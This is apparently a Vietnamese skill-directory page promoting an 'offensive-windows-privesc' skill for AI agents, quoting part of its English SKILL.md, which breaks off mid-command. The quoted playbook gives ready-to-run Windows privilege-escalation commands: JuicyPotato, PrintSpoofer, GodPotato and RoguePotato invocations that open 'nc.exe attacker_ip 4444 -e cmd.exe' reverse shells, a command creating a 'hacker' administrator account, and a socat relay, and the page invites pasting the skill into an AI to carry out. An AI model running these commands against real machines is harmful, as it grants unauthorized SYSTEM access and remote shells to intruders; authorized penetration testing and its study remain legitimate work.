offensive-windows-privesc
Skill này làm gì
Skill này là phương pháp tìm cách giành quyền SYSTEM hoặc quản trị viên trên máy Windows từ một tài khoản người dùng thông thường. Nó bao quát dịch vụ, token, cài đặt registry và phần mềm chưa được vá. Nó dành cho chuyên gia bảo mật kiểm thử máy chủ Windows khi có văn bản cho phép.
Khi nào nên dùng
- ✓Khi bạn có một shell người dùng thông thường trên máy Windows trong một bài kiểm thử được ủy quyền và cần kiểm tra quyền cao hơn.
- ✓Khi bạn muốn rà soát các dịch vụ Windows có đường dẫn không an toàn hoặc quyền yếu.
- ✓Khi bạn cần kiểm tra cài đặt registry và tác vụ đã lên lịch về rủi ro leo quyền.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-windows-privesc/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi được ủy quyền kiểm thử máy trạm Windows này. Kiểm tra xem người dùng thông thường của tôi có thể đạt SYSTEM không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill chạy liệt kê tự động, rồi kiểm tra đặc quyền hiện tại, dịch vụ, registry và tác vụ đã lên lịch. Sau đó nó xem đặc quyền token và các cấu hình sai khác, rồi xác thực từng đường leo quyền tìm được.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Windows Privilege Escalation
You have a standard user shell on a Windows target. Your objective is to escalate to NT AUTHORITY\SYSTEM or local Administrator through systematic enumeration and exploitation of misconfigurations, vulnerable services, and unpatched software. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques.
Windows privilege escalation differs fundamentally from Linux. The attack surface centers on services, tokens, the registry, DLL loading mechanics, and the Windows access control model. Master these primitives and you can chain findings from any enumeration tool into a working escalation path.
Quick Workflow
- Run automated enumeration (WinPEAS, PowerUp, Seatbelt) to surface misconfigurations.
- Check current privileges -- SeImpersonate/SeAssignPrimaryToken are immediate wins.
- Enumerate services for unquoted paths, weak DACLs, and writable binaries.
- Check AlwaysInstallElevated registry keys for MSI-based escalation.
- Identify DLL hijacking opportunities in privileged processes.
- Attempt UAC bypass if running as a local admin without elevated context.
- Inspect scheduled tasks, registry autoruns, and writable PATH directories.
- Harvest credentials from SAM, DPAPI, LSA secrets, and Credential Manager.
- Check for PrintNightmare and other unpatched vulnerabilities as a last resort.
Automated Enumeration
Run automated tools first to build a comprehensive picture of the attack surface. Review output methodically -- these tools surface findings you would otherwise miss.
# WinPEAS
.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1
.\winPEASx64.exe servicesinfo # Specific checks only
# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt
# SharpUp / Seatbelt / BeRoot
.\SharpUp.exe audit
.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt
.\beRoot.exe
Token Impersonation
When your user holds SeImpersonate or SeAssignPrimaryToken privileges (common for service accounts, IIS AppPool, SQL Server, MSSQL), you can impersonate the SYSTEM token. This is one of the most reliable escalation vectors on Windows.
Privilege Check
# Check current privileges
whoami /priv
# Look for these specifically:
# SeImpersonatePrivilege - Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege - Replace a process-level token
JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)
# JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
# Common CLSIDs vary by OS version
# Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}
# Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}
# If default CLSID fails, enumerate valid ones
.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}
PrintSpoofer (Windows 10, Server 2016/2019)
# Abuses the Print Spooler service to capture a SYSTEM token
.\PrintSpoofer64.exe -i -c powershell.exe
# Direct command execution
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
GodPotato (Windows 8-11, Server 2012-2022)
# Works across a wide range of Windows versions -- choose the right .NET binary
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
SweetPotato and RoguePotato
# SweetPotato -- combines multiple potato techniques
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"
# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999
Choose your potato based on the target OS version. PrintSpoofer and GodPotato have the broadest coverage on modern systems.
Service Misconfigurations
Windows services running as SYSTEM are a primary escalation target. Misconfigurations in service paths, permissions, and binary locations create exploitable conditions.
Unquoted Service Paths
# Find unquoted service paths with spaces
wmic service get name,displ
Câu hỏi thường gặp
Các khu vực chính nó kiểm tra là gì?
Nó kiểm tra dịch vụ, đặc quyền token, khóa tự khởi động trong registry, việc nạp DLL và tác vụ đã lên lịch.
Nó nhắc tới công cụ nào?
Nó nhắc tới WinPEAS, PowerUp và Seatbelt để kiểm tra tự động.
Đây có chỉ dành cho kiểm thử được ủy quyền không?
Có. Skill được viết cho các hệ thống mà bạn có quyền kiểm thử.
Chi tiết
Mô tả gốc của tác giả
Comprehensive Windows privilege escalation methodology for offensive security engagements. Covers the full attack surface from a standard user shell to NT AUTHORITY\\SYSTEM: token impersonation via SeImpersonate and SeAssignPrimaryToken privileges using JuicyPotato, PrintSpoofer, GodPotato, SweetPotato, and RoguePotato; service misconfigurations including unquoted service paths, weak service DACLs, writable service binaries, and insecure service creation permissions; AlwaysInstallElevated MSI exploitation; DLL hijacking through search order abuse, phantom DLL loading, and writable PATH directo
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11968
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-api-security
10kChạy kiểm thử bảo mật được ủy quyền trên API REST, gRPC và WebSocket, dựa trên OWASP API Top 10.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.